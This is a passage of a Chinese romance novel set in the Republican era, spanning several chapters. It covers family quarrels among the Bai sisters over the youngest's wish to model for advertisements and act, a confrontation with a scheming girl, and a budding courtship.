姚宝莲之前只远远地见过白瑾瑜一次, 便在心里猜测她是个美人,如今人就坐在自己的对面,仅隔着一张小圆桌子, 那一种摄人心魂的明媚的美, 才真叫扑面而来。 她自己就是个自恃美丽的人, 从前没有钱时, 便极力地把自己捯饬干净;如今手头宽裕了, 更是不遗余力地要将这份美丽做一番卖弄展示。可此刻坐在这位白小姐面前,她竟有种想低下头去避其锋芒的怯怯,唯恐被别人拿去和她作比较。 在她正感到无措的时候,白瑾瑜已招来了西崽, 要了两杯“蔻蔻”。 姚宝莲也不知道“蔻蔻”是什么, 一见她点单, 当下便有一阵紧张,挺直了腰板声明道:“这家店不是我要来的, 不拘点什么, 我可不会出钱。” 白瑾瑜带着好笑地瞧了她一眼, 说:“我带你进来的, 当然我来会账。这一点钱,我总还出得起。”说话间, 也拿一双漂亮的眼睛打量了她一眼。 之前听孟西洲说姚宝莲和她有两分相像的时候, 白瑾瑜就有些想要见一见她了, 如今仔细一看, 倒不觉得像。只是对方垂下眼睫的时候,那眼帘的弧度里,可以看出一点自己的影子,偏偏姚宝莲又勾了一道细长的眼线, 若不是自己带了先入为主的印象去看,是绝说不出一句“像”的。 她对姚宝莲,实在谈不上讨厌,更遑论嫉妒了。反倒觉得她要是真和自己有一点相似,那总归是个漂亮女子,希望她过得体面一些。 是以看过之后,很和气地问道:“裕兴教会学堂很不坏,我听说许多女学生毕业后做了会计或者文秘,你的书念得怎么样?以后想做什么?” 姚宝莲心里的警钟一阵乱敲,心道,她竟然知道我在念教会学校吗?这势必是孟先生告诉她的,这是来向我示威了呀!于是抿出一个羞怯的微笑,貌似惊喜地道:“孟先生连这也说了?他肯供我上学,我心里别提多么感激了。” 又叹了口气,“孟先生把这话都和你小姐说,可见对我念书的事很上心,可惜我读书的能力有限,要辜负他的期待了。” 白瑾瑜笑了一声,将西崽端来的蔻蔻抿了一口,“他这个人就是好心,不管你的能力有多少,只要真用了功,就算对得起他了。” 姚宝莲见她怎样都不接茬,也全然没有一丝质问的口气,说来说去不是读书就是用功,真如一拳打在了棉花上,不得劲得很,心里一横,干脆就由自己挑破了罢! 于是扯了扯嘴角,主动问道:“白小姐怎么知道我的呢?不要是孟先生拿我的相片给你看了吧?” 见白瑾瑜的视线直直地看过来,自己竟像被利箭刺中一般,反倒心虚起来,眼神闪烁着躲避开,又急急地端起自己那一杯蔻蔻饮了一口以作遮掩,这才欲盖弥彰地解释道:“孟先生那里,有我一张相片的,故而我想,白小姐认识我,总归是看过我的相片子吧。” 白瑾瑜饶有趣味地盯着她看了一会儿,随即竟笑了一声,说:“你的相片,我还真见过。不过以后还是别送给不想要的人了,孟西洲气得很,撕个粉碎不说,连碎片都不想揣进家门。自己花大力气拍出来的好相片,何必送到别人手上,让别人去撕?” 这一下,姚宝莲可就装不下去了,脸色羞恼地一片通红,心里忿忿道:这是要打我的脸,说我的相片被孟先生撕了,还不知道撕的人究竟是谁呢! 姚宝莲发狠地拧了一把自己的大腿,眼里顿时浮起一层水光,像是在白瑾瑜那里受到了侮辱似的,瞪着她委屈道:“白小姐是看不起我,觉得我这个受人接济的人,送给恩人一张相片,是在玩什么手段吗?” 白瑾瑜有趣地动了动眉梢,微笑着,并不受到她情绪激动的影响,说:“你有没有玩手段,自己心里清楚就好,也不必我来觉得。即便是你耍的手段,也无不可呀,不过手段也有奏效不奏效之分,明知道不奏效,还要一意孤行地去进行,岂不是凭白让别人看笑话?” 又说,“这世道对于女子而言,本来就不大容易,懂一点手段,总归对自己很有利。我就有一个不懂耍心眼的妹妹,要不是生在我们家,不知道要受多少欺负。” 她说这话并不带有恶意,不过姚宝莲拿敌对的眼光去看她,听什么都像是针扎耳朵似的。 她本意是要挑起白瑾瑜的嫉妒心,好狠狠敲一笔竹杠,可谁知道这白小姐就像老僧入定一般,说什么她都不生气。拿不下姓孟的,姓白的也是油盐不进,这两个人凑在一起,真是铜墙铁壁一块!一个也不能击破! 姚宝莲眼看一文钱也捞不到,近乎是气急败坏,又听见白瑾瑜问了她一句成绩怎么样,那火气便直往脑门上冲,冷哼道:“成绩管什么用?但凡孟先生肯多一点好心,我何必还要费劲读这些破书?!” 她偷觑了白瑾瑜一眼,一想到自己往后兴许就要跟了黄老板,多叫人不甘心!反倒生出一股勇气来,可怜道:“白小姐,孟先生真不能多一点好心吗?那您呢?我看您一定生在富贵的家庭,什么也不缺,您这样大度,就把您的好心,分一点给我吧!” 在她上一句话说出口时,白瑾瑜的笑容便已经收敛了,人虽是微笑着,眼里却透出一点冷意,反问道:“孟西洲和你非亲非故,白白出钱让你上学,还不够好心吗?” 姚宝莲抽噎道:“不够,不够。这学上过三年,总要毕业的,那之后我可怎么办呀!” 白瑾瑜望着她冷笑道:“但凡你好好地读书,毕业之后,还能找不到事做吗?这样的问题还要问,足可见你是个蠢货。” 白瑾瑜虽然气场强势,说话却从头到尾都挺和气,不然姚宝莲也不敢蹬鼻子上脸地开条件了,此刻突然骂出一句“蠢货”来,姚宝莲倒懵了,抽抽搭搭的声音也停在了半当中。 她也是被姚宝莲的无耻磨光了耐性,喝口清水下了下火气后也不兜弯子,直白道:“我说错你了吗?不要说孟西洲瞧不上你,就是我,也要瞧不上你。换作我是你,有这样一个机会,非得把书念透了不可,以后做什么不行?学到手的本事,换谁都拿不走。” 姚宝莲讥讽道:“好漂亮的话!像你这样吃穿不愁的大小姐,还懂我的苦呢!” 白瑾瑜根本不和她对辩,自己那一堆烦心事说出来,她就能懂了吗?真是笑话! 姚宝莲见她只是挂着冷笑,并不做声,好像把她心里的弯弯绕绕都看透彻了似的,那一阵心虚又冒出头来,掏出手帕来擦着眼角,哭道:“我们穷人没有本事,当然斗不过你!你去告诉孟先生好了,吹一吹耳边风,让他把他的‘恩赐,都收回去好了!” 说着,呜呜呜地小声哭起来,还不忘在手帕的遮掩下,偷看白瑾瑜的脸色。 她心里真害怕白瑾瑜要去告密哩!好歹学校是很显示身份的地方,每月三十的生活费也绝不可缺少,她知道今天惹怒了白瑾瑜,为了保住这最低的资助,这才故意使出这一招激将法。 有钱人家的小姐们都清高得很,自己摆出料定了她会去告密的架势,她反倒要为了自证清白,绝不去那样做了。 白瑾瑜看她演得热火朝天的样子,心里又觉得好笑了。不过姚宝莲的生活费和学费,她可不会去干涉,私心里甚至赞同交到她毕业为止,甭管她是不是老老实实去上学。 一来,不管初衷如何,这都是孟西洲的善举和好心,她没有不支持的。二来,设若将资助中断了,如姚宝莲这样升米恩斗米仇的人物,势必要极力地抹黑对方,叫他背一个不“善始善终”的骂名。要是孟西洲受到如此污蔑,自己才是真要感到生气。 不过想归想,面上却不想让姓姚的太过如意,故意坏心眼地说:“你这话倒是提醒我了,我看你并没有读书的心思,一样要帮助,为什么不帮助一个求学无门的人?这钱花出去的意义,就大很多了。” 见姚宝莲愣愣地望着自己,又冲她一笑,套用她的话道:“孟西洲好说话得很,我轻轻吹一下耳边风,他没有不答应的。反正就是一句话的事,即便事后想起有你这么个人,改也改了,谁会在意呢?” 她的笑容和思维硬是震慑住了对方,等姚宝莲明显地着急起来时,已然错失了纠缠的机会。白瑾瑜早已会完了账,任凭她急匆匆地追出咖啡馆,人已坐上洋车跑了。 白瑾瑜带着畅快的心情离开咖啡馆,一面扭着头随意地看车窗外的风景,一面想:今天这一桩事,倒很有趣。照说姚宝莲此人和我没什么关系,是因为孟西洲的缘故才来我面前叫板的,不过她既然决定了私下里找我,我也没必要都告诉给孟西洲,他管我怎么对付她呢? 正想着,眼角余光掠过街上某一处,当下狐疑地坐正了身体。 汽车往前开着,街景便往后退,白瑾瑜几乎是探着身子往后去看,那一眼,可算是看清了,对司机惊呼一声:“停车!” 第58章 第 58 章 摆个姿势,拍两张相片,…… 白瑾琪因为怀着一桩秘密谋划的缘故, 这两天格外显得兴奋,下午的社会课一结束,便小跑着冲去学校后门“会客”去了。 会的不是别人, 正是前阵子递过名片的明星经理人许某, 这位许先生面相白净, 个子虽不高大, 但衣着考究, 头发拿发油一丝不乱地向后梳拢着,说起话来也谈吐文雅,给人印象就不坏。 白瑾琪也是一肚子主意的鬼灵精,不光见面谈话的咖啡馆是由她说了算, 还让许先生预先准备了许多凭证, 事无巨细, 统统问了一遍。说他是个“明星经理人”,多少有些言过其实, 不过是为明星们拍摄广告画的经理, 但总归也不是个骗子。 那许先生险些招架不住这一通盘问, 掏出手巾来揩着脸上的汗, 笑着吹捧一句:“白小姐真是谨慎极了,如今的年轻女孩们听到要当明星, 哪个不是飘飘然地涌过去, 向您这样的, 可是少见极了。” 白瑾琪也有一些自得, 当下并不说话,只将许经理带来的几张广告画片拿在手里把玩翻看着。 许经理见她是有些意动的表示,顺势鼓吹起来:“要论拍电影,我们是够不着, 可如今哪个女明星不拍广告画?你瞧瞧大名鼎鼎的林凌小姐,她这花香皂的广告画,就是由我们来拍的。再看最近红起来的陈美云小姐,不也是拍了美女月历牌,这才被发掘的吗?” 白瑾琪黑白分明的眼珠觑了他一眼,无可无不可地哼笑一下,说:“随便哪个百货公司,也知道挑最时新的好货摆在显眼的玻璃柜里,要真像你说的,哪儿哪儿都好,还怕没有漂亮的女明星供你们拍吗?何必要找我?” 许经理连忙“哎哟”了两声,道:“可不能这样说呀!女明星们是光鲜漂亮,可再漂亮的面孔,看多了也会腻的,我们正需要去发现一点新面孔哩!可要找一颗明星的苗子,那是多么难!” 那意思,白瑾琪便是他慧眼相中的“好苗子”了。 随即又讪笑一下,“当然了,要说利弊之中的后者么白小姐毕竟只是小打小闹地演了一出话剧的女学生,在报酬上,那就有点欠缺。不过俗话说万丈高楼平地起,往后要是出了名,那就绝不可同日而语了!多少品牌开出优渥的条件,只求着你给一张相片呢!” 白瑾琪默默思忖着。 她对于演艺界,实在抱有很大的兴趣,再看手里几张相片,也各有各的美丽,并不显得俗气,对于拍一拍广告画,倒并不排斥。只是在使用的细则上,还是得仔仔细细地商量。 面上却做出一副兴致寥寥的样子,这一招把对方“吊着”的手腕,她还是从白瑾瑜身上学来的呢。 对面的许经理见她似乎并没有被说动,果然自发地退让了一步,道:“这样吧,白小姐要是下不了决定,不拘今天还是改天,不如去我们拍广告画的地方参观参观?也算对我们这一行,有一个了解了。我们还雇了专门的化妆师傅,可以给你上妆试一试哩!” 这还有不好的吗?白瑾琪终于“松口”答应下来,彼此约了下一次见面的时间,不想一道走出咖啡馆没多久,便听见有人远远地喊自己的名字。 这真是怎么也料不到的事,她会在秘密行动的时候,被白瑾瑜捉个正着!这下好了,有白瑾瑜的谈话技巧和气势,什么秘密都要被她戳破了! 果不其然,不过几句话的交锋,那许经理的态度便显见地毕恭毕敬起来,两手递上名片的样子,活像是希尔顿扒房里的西崽递上了菜牌子。 白瑾瑜将那名片接到手里,脸上虽挂了笑容,眼里却是冷的,当下就说:“我妹妹年纪小不懂事,就爱这一套华而不实的东西,她喜欢拍照,有我领她去大北照相馆就行了。” 她说话的口吻很客气,话里的意思却一点不客气,只一句话,就把许经理这根橄榄枝,彻底地回绝了。 许经理心里也懊恼,舍不得放过白瑾琪这灵气逼人的好苗子,讪笑着转圜道:“白小姐,我们是很正规的广告画公司,名气是不大,也绝不是那些骗人的野路子可比的。何况令妹又很有艺术梦想,您实在可以再考虑一下呀。” 白瑾瑜是很讲体面的人,尽管心里已经气得半死,脸上还是一派和气的样子,只微笑着反问:“摆个姿势,拍两张相片,叫什么艺术梦想?我虽然不学艺术,可追求梦想和出卖色相的区别,我还是分得清的。” 这一句话,已然是直刺核心了。 许经理自诩是“伯乐”,可一个人能不能红,那是说不定的呀!他到处游说漂亮女孩们来拍广告画,当然也抱着其中出几个大明星来的愿望,自己不抓紧着点,可就要被别家公司抢先了!可归根到底,眼下,不还是想拿这些美貌来卖钱吗?要是直白说出来,那就不大好听。 他被白瑾瑜一通抢白,脸上多少挂不住,一阵臊红。白瑾瑜却不再理他,拉了白瑾琪就往车那边走。 白瑾瑜从前就说一不二,白齐盛去世之后,更是家里“一言堂”式的人物了。是以她回绝许经理的时候,白瑾琪的心便往下一沉,心知自己的艺术梦想是要不保了。 回去的车里安静一片,白瑾瑜不说话,白瑾琪便也乖觉地默不出声,只等着踏进家门,刚要为自己争取几句,走在前头的白瑾瑜倒先转过身来,那脸上又是失望又是恼火,瞪着白瑾琪恨恨道:“你真是好样的,竟然想到去拍广告画!这么大的事,也不和我商量一声!” 白瑾琪将这件事隐瞒不报,自认绝没有恶意,受此怒火,也生出几分委屈,分辨道:“广告画怎么了?这满大街的广告,难道都是低俗的、不堪入目的吗?你自己还订了杂志画报呢” 白瑾瑜盯着她,冷笑了一声:“你看着街上的广告漂亮,首先人家得是鼎鼎大名的人物,在你瞧不见的地方,多得是像你这样名不见经传的女孩呢。那些不出名的广告画怎么用,我告诉你吧,只要有商家愿意出钱买下来,随便把她印在哪儿都行。你真愿意在劣质的香烟盒子、甚至爱情病的宣传单上看见自己的脸吗?!” 这话说得太狠了,白瑾琪到底是个从小娇生惯养的小姐,只是热爱艺术罢了。热爱艺术有什么错呢?何至于被说成这样?她的心都要碎了。 当下淌了两串眼泪出来,颤抖着嘴唇道:“何必把我说得这么不堪,难道我是轻易就上当受骗的糊涂虫吗?我本来也、也不是非要拍广告画不可啊!” 白瑾瑜太急于打消她的念头,自己也知道话说的不妥,见她哭得伤心,也就软下态度来,叹气道:“一旦照片拍下了,还由得你做主吗?好了好了,你就不能安分一点,好好念书吗?”掏出一条手绢,就要去给白瑾琪擦脸。 她的态度软化了,白瑾琪的叛逆心反倒强硬起来,自从搬来这里后,因为她“身无分文”的缘故,总有一种寄人篱下的压抑委屈,此刻借着开闸似的眼泪,一股脑给冲了出来。 白瑾瑜靠过来,她偏就后退着躲开她,哭道:“念书念书,我不爱念书!二姐姐喜欢念书,我不喜欢!我就喜欢表演!我干嘛要在学校里浪费时间?我为什么不能去话剧团演戏?” 白瑾瑜听着,刚刚放缓的脸色又冷凝起来,脑仁也跟着嗡嗡地胀痛,咬牙切齿道:“这是疯话,你这个年纪不读书,还想干什么?家里是缺你一口吃的吗?要你去抛头露面的供人取乐?” 白瑾琪不服气地抽噎着:“现在都什么时代了,说什么抛头露面什么取乐,亏你还是留过洋的人呢!那是艺术!那么多舞蹈家、表演家,不都是很受人敬重的偶像吗?” 白瑾瑜真要被她那一套套歪理气死了,讽刺道:“我可从没听说过,书没有念完就到处赶剧场演出的人里,出过什么偶像的!” 她知道自己现在是火气上头不大理智,便狠狠做了几下呼吸,尽可能好声好气地劝道:“瑾琪,我自认待你够尽心了,不拘陈姨太走没走,我就绝不会丢开你不管。你也替我想一想吧,你现在说不念书就不念,外头的人该怎样说我?说父亲一走,我就苛待同父异母的妹妹,非但不让她把书读完,还要靠她抛头露面捡活干,挣一份赏钱吗?” 这一番话实在称得上剖心置腹,偏偏刺中了白瑾琪心里最敏感委屈的一点,她当下拔高了声音叫起来:“你看!你看!我的喜好不重要,你的名声面子才最重要哩!我知道,我现在吃你的用你的,所以什么都得听你的。我连给自己做决定的资格,都失去了!” 她们俩的动静太大,引得楼上的虞妈都急匆匆地跑下来,看见这两姐妹彼此对峙的样子,惊慌地问个不停:“这是怎么了?这是怎么了?” 白瑾瑜气得脸色发白,那气愤之中,又有一种饱受压力而不被理解的深深的失望。 眼前的白瑾琪还能嚎啕大哭一场,自己担着一份支撑家庭的压力,那一种疲惫与无力,又可以向谁哭诉? 白瑾瑜两手握着拳,等感觉到一阵刺痛,才惊觉是握得太紧,指甲都在手心里留下了很深一道掐痕。要她跟着这个小兔崽子一起哭,她做不出;要她扯着喉咙跟她吵架或是拉了她的手彻夜谈心,那更叫人觉得疲累 干脆少费口舌,只说一句结论吧,“横竖你想不念书,那不能够,我是不会同意的。” 这句话,便等同于文件上一记刚戳,一座镇压的五指山了。 白瑾琪愣了两秒,随即捂着脸大哭了两下,也不管自己现在是一把鼻涕一把眼泪的邋遢样子,径直冲到三楼白瑾璎的房门外,哭着敲门道:“二姐姐!二姐姐开开门,你来给我评评理!” 敲了两下也没人答应,干脆囫囵抹了一把眼泪,自己将门把扭开了。推开门的瞬间,还不及说点什么,先就“啊呀”了一声。 第59章 第 59 章 我替你劳动这一回,有什…… “真是吓死我了!”白瑾琪拍着胸口, 可怜兮兮地倾诉,“你是不知道,那屋子里有多少书, 每一本都厚得跟砖头似的, 桌子上到处铺着稿纸, 上头那些密密麻麻的字呀!这是真话, 我考学的时候都没有过这样的阵仗!我二姐姐就一动不动地趴在那桌子上, 我真以为她——吓死我了,吓死我了!” 郑家树坐在她对面的长椅子上,瞧着她灵动的神态,觉得很有趣味似的, 道:“我记得你说过, 你二姐是位女学究。后来怎么样呢?你二姐有没有帮你评理呢?” 白瑾琪顿时瞪圆了眼睛, “我哪里还敢跟她说?你想呀!她念书,都念得累倒了, 真是发了疯了!我和她说我不要读书了, 她哪里会支持我?” 说着, 那漂亮的眉眼又蔫蔫地耷拉下来。她昨天和白瑾瑜大吵一架, 原本想着拉白瑾璎帮帮忙,这计划当然没能成功, 也就只能先这么耗着。但无疑拍广告画的道路, 是走不通了。 郑家树看着她一下惊慌一下失落, 实在有一种活泼泼的可爱, 心灵一动,忽而说:“你要想往演艺界去发展,也不是全无办法。我有一个姑姑,做的就是电影经纪的工作, 很有一点自己的人脉,我们平常联系的不算多,但倒是可以替你问上一问。” 白瑾琪的眼睛倏地亮起来,望着他道:“这是真话吗?真能替我问一问?” 郑家树点了一点头,突然抱着手臂坐正了身体,含着一点神秘的微笑向她问道:“我替你劳动这一回,有什么酬谢给我呢?” 白瑾琪一点就通,明白男孩子搞这一套,无非想要一个克斯(kiss)罢了,郑家树高大俊朗,自己亲他一下,也不吃亏。刚要有所动作,余光一转,只见草坪不远处的一座花坛后边,可不就站着程巧书吗? 她手里抱了两本书,一副要去哪里用功的样子,怎么脚下就是不踩步子呢?不要是存心躲着来偷看我吧? 这样一想,可得在她眼前拿一拿乔,于是轻咳了两声重新坐好了,对郑家树道:“好吧,就让你亲我一下算作酬谢,怎么样?” 郑家树本来垂着眼,正静等着白瑾琪的吻呢,想不到女友骄矜地端坐着,反倒说出这样一句话来,这又是意料之外的事,很有新鲜劲儿。于是抿着兴味的笑容,说:“真要我来亲你吗?我的行动,可是不受你掌控的。” 白瑾琪余光留意着程巧书那边,见她还是不走,勾着嘴角哼哼了两声。 那哼声爱娇极了,又很像催促,郑家树哪里还坐得住,伸手将白瑾琪拉起来,低头吻了吻她白皙细滑的脸颊。 怪道古人将美丽女子的脸颊称作“香腮”,在他凑近的时候,真觉得有一丝幽微的香气,暖暖地往脸上扑来。心猿意马之下,一吻刚毕,又往下探寻着,吻到了她樱桃似的红润的嘴唇上。 白瑾琪感受着来自异性的这第一个吻,心里直觉有几分新奇,再想到这一幕落到程巧书眼里,可不就是她爱慕的男子主动来向我献吻吗?心里又觉得痛快。 辗转着脑袋和郑家树的唇摩挲一阵后,留意到余光里的人影匆匆地跑走了,心里高昂的兴致也就回落了不少。伸手在郑家树的腰上掐了一下,抿着唇嘟囔道:“好了没有,你的报酬,索要得也太多了。” 这一吻的感受太妙,直如置身云端一般飘飘然,郑家树恍惚了两秒才抽身回魂。满怀柔情地捧着白瑾琪的脸颊,说:“多吗?要是事情办成了,我可是还会再多要一份报酬的。” 伸手刮了一下她细巧的鼻梁,笑着道:“你就等着我的消息吧。” 两人分开后,郑家树径自往教室的方向走去,鉴于那一亲香泽所带来的□□与精神上的愉悦,他走得脚下生风,实有一种意气风发的潇洒。 像他这样学校里的风云人物,又有一颗爱艺术的浪漫之心,要说没有和女同学们顽一顽爱情的游戏,那绝不能够。不过白瑾琪真是个妙人,他还从没有遇到过这样叫人捉摸不透的小女子,要说她爱慕自己吧,确实也有亲昵热情的姿态;可要说自己完全地俘获了她呢,又似乎不是那一回事。 倒勾起了他许多好奇与好胜之心。 走上二楼正要转去长廊时,忽听一道楚楚可怜的声音叫住了自己,那秀气的女学生拽着他的衣袖,又擒了眼泪,问:“郑学长,你真和那个白瑾琪在一起了吗?除非你亲口承认,否则我不信。” 郑家树并记不得她是谁,不过想了一想,还是说:“这是什么胡话?不过白同学的戏演得很好,我是很欣赏她的。”说罢笑了一笑,这才转身走开。 那女学生咀嚼着这一句回答,心想:他并没有承认呀!当下又振奋起来,掏出手巾擦了擦眼角,又拿出粉盒子往脸上扑了两下,重新噙着微笑下楼去了。 循着风声打探消息的人不光冲着郑家树,也有向白瑾琪发起行动的。另一边,白瑾琪在公共课结束之后,也遇上了“拦路虎”。 她收拾起东西来磨磨蹭蹭的,往往要在教室里逗留一会儿,是以那时候,教室里已不剩多少人了。那两个女学生气势汹汹地闯进来,偏偏挑中了程巧书问话:“白瑾琪是哪一个?人还在吗?” 程巧书纤细的手指便往后一点,望向白瑾琪的时候,满脸都是等着看好戏的窃喜。她料想白瑾琪是要挨一顿教训了,自己可不愿意牵扯其中,被扣一个“袖手旁观”的罪名,于是还不等三个人开始说话,先就脚底抹油地避开了。 别的学生恐怕也是这样想,是以片刻之后,偌大一间教室,便只剩下了她们三人。 那两个女学生果然是一副很不好惹的架势,人又很高大,堵在白瑾琪的眼前,就像立了一道墙似的。 白瑾琪笑吟吟地先问:“两位同学,有什么指教呢?” 其中一个瞪着她道:“我听说你和戏剧社的郑学长是恋爱的关系,这是真话吗?你真是不识好歹,不知道郑学长是清河大学里一个偶像吗?你要把他占为私有,那你和我们这些推崇他的女学生,就是敌人了!” 另一个紧跟着道:“对!郑学长是我们大家的,不准你再缠着他!不然,我们可要你好看!” 白瑾琪见她们两个小山似的拦在眼前,说一点不怕是不可能的,蹙着眉头为难道:“你要我别缠着他我们都在同一个社团,要是排练剧目,也不由我说了算呀。” 心里却已经懊恼开了:自己真是目光短浅,当初只想着和郑家树谈恋爱不亏,没想到麻烦也接踵而来,真是引火烧身!郑家树也是,长得好看归好看,招蜂引蝶的本领也是不小!又想到刚才一脸得逞的程巧书,那口气更是咽不下了,要自己就这么认栽,那真是笑话! 于是不等对方再次发难,自己先就咬死了不承认,笑着说:“不过我和郑学长只是剧目里的恋爱关系,怎么大家就当真了呢?我真演得这样好吗?我倒有点高兴了。” 这世上但凡陷入爱情中的女子,没有不宣誓主权与忠贞的,还没见过有谁咬死不认的。那两个女同学狐疑地对视一眼,问:“你们真不是恋爱的关系吗?传闻可不是这么说的,还有人说,看见你们在教学楼后头的草坪上接、接吻呢!” 那女学生光是说出“接吻”两个字都磕磕巴巴的,脸色绯红不说,连嗓门都压得很低,可见是个没见过世面的生手。 白瑾琪脸不红心不跳,心想:看你们这紧张什么宝贝似的模样,你们的郑学长,我可早就亲过了!心里顿时生出一点优越,悟道:我要是能瞒过这一群崇拜者们,既不用受她们的骚扰,还能留下郑家树这个男友,那不是妙极? 于是故作忿忿,横眉冷对地正色道:“我和郑学长在演出时抱了一下不假,不过那都是为艺术的献身,如今是社交公开的年代,很算不上什么。至于在草坪上云云,那分明就是污蔑!这是谁传出来的疯话?不如叫她来与我对质!” 放出这个消息的,非程巧书莫属,不过像她这样明哲保身的人物,白瑾琪也料准了她不会站出来承认的。 她表现得这样愤慨,那两个女同学反倒愣了,直觉是传言有误。 这时候,白瑾琪又放软了语调,哀怨地叹气道:“要说推崇,其实,我对郑学长的推崇,和大家都是一样的。不过你们不知道,我家里的大人,很厌恶艺术那一套,不要说和追求艺术的男同学谈恋爱了,就是我自己的表演梦想,不知什么时候就要被消灭。我现在在戏剧社里,能表演一天,就算得一天的自由了!” 说到这里,一想到昨天白瑾瑜冷冰冰的样子,真就抽噎了两声,还不忘强调一句:“所以你们实在可以放心,我和郑学长,是绝没有什么可能的。” 既然证明了传言不实,那白瑾琪也就不是什么“敌人”了,何况她长得漂亮,此刻泪盈于睫的样子,谁看了都要不忍心。 末了,那女学生反倒安慰了她几句:“白同学,你也不必完全灰心,你的表演这样好,和家里人说说,他们未必不会同意呀。这、我们也没什么能做的,下回再有你参演的剧目,我们一定去捧场。” 白瑾琪委委屈屈地点了点头,心里却想,这一茬可不能让郑家树知道。我看他做事也是往秘密的一路去走,未必就想曝光我们的关系,不过要是被他知道我直白地否认过,多少很失颜面,我还指望着从他那里得一点好消息呢。 这时候约莫是下午四点多钟,下沉的光线投在教室的玻璃窗上,刚好映照出白瑾琪站着的身影。 她转身时瞥见一眼,当下“啊呀”了一声,两手箍了箍自己的腰身,觉得玻璃上照出的自己的样子,离时下女星的曼妙苗条,可差得太远了! 要是郑家树的姑姑愿意见一见我,那固然是好事,可设若她觉得我太胖,到时候才开始减,那可就太晚了。都说将军不打无准备之仗,看来对身形的管控,从现在就要开始了。 第60章 第 60 章 谁都有自由的意志,一个…… 吵过一架的两位当事人, 这一边白瑾琪有郑家树可以转移注意力,那一边白瑾瑜的烦闷,当然也有可以倾诉的对象。这便有此刻, 孟西洲含着一点微笑, 一面拿自来水笔在文件上圈画批注, 一面听着白瑾瑜说话的一幕了。 白瑾瑜忿忿地叹气道:“她现在是被艺术的美梦冲昏头脑了, 想得太简单, 以为演几出话剧,就能成为艺术家吗?幸而我撞破得早,她眼下只是背了我去拍广告画,往后胆子大了, 就能背了我去演新话剧。如今的剧团为了吸引眼球, 打着新话剧的名义, 实则公然让女演员做大尺度表演的,可一点不在少数!” 说罢, 兀自沉思着, 又郁郁叹了口气。 孟西洲刚写完一条批语, 看了她一眼, 安抚道:“所以你妹妹拍了广告画没有呢?拍了也不要紧,我认识一个朋友, 但凡广告刊登一类的公司, 都有一点人脉, 我给他挂一个电话, 让人撤下来就好。” 白瑾瑜把头摇了一摇,心烦道:“没有。唉,这个小东西,我实在是管不住她, 我也不要求她像瑾璎一样谨慎周到,只求她不要轻举妄动,爱惜一点自己的羽毛,也让我省一点心吧。” 孟西洲却没有接话,只是微笑着将她望着。 白瑾瑜有点不服气地眯起眼,问:“怎么了?我说的话,你不大赞同吗?” 孟西洲这才说:“不,我只是有感而发,一个人,要怎样‘管住另一个人呢?谁都有自由的意志,要别人全然按照自己的安排行事,那是不能够的。” 他微笑了一下,接着道,“好比我自己,我爱慕你,想必你很早以前就有一点察觉。在你还没分手的时候,甚至你分手之后,我何尝不希望你也来爱慕我?不是一样不能够成功吗?” 白瑾瑜难得地语塞了一阵,抿着嘴唇,到底没有反驳,只是说:“这不能一概而论,拍广告画本身是有风险的行动。瑾琪年纪小,我很怕她上当受骗。” 孟西洲便放下墨水笔,转而拉住了白瑾瑜的手,故意偷换概念道:“哪里不一样?爱情里就没有上当受骗之说吗?还是你心里明白我有一万分的诚意,不会骗你?你能这样想,我倒是很欣慰。” 见白瑾瑜小小地瞪过来一眼,才言归正传:“我明白你的意思。你们家的老三,大概做起事来是有些冒失莽撞,不过她说喜欢艺术和演戏,好比你喜欢盘算生意经,你们家的老二喜欢研究学问经,这难道是坏事吗?且我看她在公益演出上的表现,实在有一点天赋在身上。” 白瑾瑜听懂了他的意思,人的天赋与喜好所在,本来就各不相同。自己当初说要办贸易公司的时候,不赞同不看好的声音,更是多了去了。要不是爸爸极力地支持,恐怕自己的梦想,也要在刚燃起时就被掐灭。 如今没有了爸爸的庇护,说得自大一点,自己挑着一家之主的大梁,便总希望一切尽在自己的掌握之中,不要出差错,不然,自己先就难辞其咎。 白瑾璎爱啃书本,人又胆小谨慎,那就不必去操心,可说到底,也只是她热爱的事物恰好很让人省心罢了。反观白瑾琪追求的那条艺术之路,实是一条前途莫测的冒险之路啊!可这难道就是错误吗? 说来说去,不过是自己没有为她托底的本事,这才忧心忡忡,一心想让她放弃。 孟西洲说得不错,人做不到控制别人,能驱使的只有自己罢了。怎么我不想着长自己的本事,反倒要去限制别人?设若我有足以影响演艺界的能耐,随便白瑾琪去拍广告还是拍电影,又有什么“风险”可担心呢? 她心里已想得通透明白,只是碍于面子,还是不想在孟西洲面前承认自己错了,只撇着嘴为难道:“她要追求艺术梦,没有更稳妥的办法吗?譬如先去做一个表演的深造,有文凭在手,也更能受人的尊敬反正不是拍什么不入流的广告画。” 孟西洲倒很爱看她心口不一的嘴硬,和平日里的雷厉风行不同,很有女子的娇气在里面,将牵拉着的她的手凑到唇边吻了一吻,说:“不管怎样,我总归站在你这边,我的关系资源,你也尽可以用。不过——” 白瑾瑜半抬着眼瞅他。 她的眼尾微微上挑,平时看来秀媚又不失凌厉,此刻被长长的眼睫半掩着,那种凌厉便弱化了,只剩下柔和的美丽。问:“不过什么?” 孟西洲感觉到她想抽回手,兀自握紧了不放,目光也凝视着不放,问:“不过,我到底成功了吗?” 话一出口,又觉得这问题很傻似的,自嘲地一笑,“你愿意和我在一起,我绝不怀疑你的心意,只是你不说,我的心便不能踏踏实实地落定。” 白瑾瑜明白过来,知道他说的是先前希望自己爱慕他却不能成功的话,心想:看来我从前的两次拒绝,实在叫他受了不少委屈。又觉得,既然我已决心与他相处,难道还要在言语上争个长短不成?把他哄得高兴一点,于我并不是什么损失呀。 于是干脆连带着被他握住的手,两手都贴到孟西洲的脸上,捧着那张清俊的脸左右摇晃一下,笑道:“这还不算成功吗?恭喜你,孟先生。为表示祝贺,不如我再请你吃个晚餐吧?” 这个俏皮的举动实在出乎孟西洲的意料,他少见地露出一点错愕的神态,尽管很快被喜悦掩盖过去,那也足够白瑾瑜获得一点乐趣了。 再说到令人省心的白瑾璎,就她自己而言,眼下的情况可实在谈不上省心。 自从缪昌平获准可以使用白瑾璎的教案,倒像领了一道谕旨,神气起来了。他打着在白瑾璎教案的基础上另添知识点的算盘,每每腆着一张笑脸提前讨要,嘴上说着:“白老师的教案很深奥哩,我可要好好品读。” 白瑾璎译注到了瓶颈,光是沉得压手的专业书籍就看了不知凡几,一来时间不够用,二来本身也不是善耍小聪明的性格,故而也没有想过明面上给出一份,自己再另做一份教案的法子。 实在被他催得烦了,这才冷着脸道:“缪老师以为我批改作业不花时间吗?我自有自己的时间安排,你一伸手就要我交出来,没有这样的道理。” 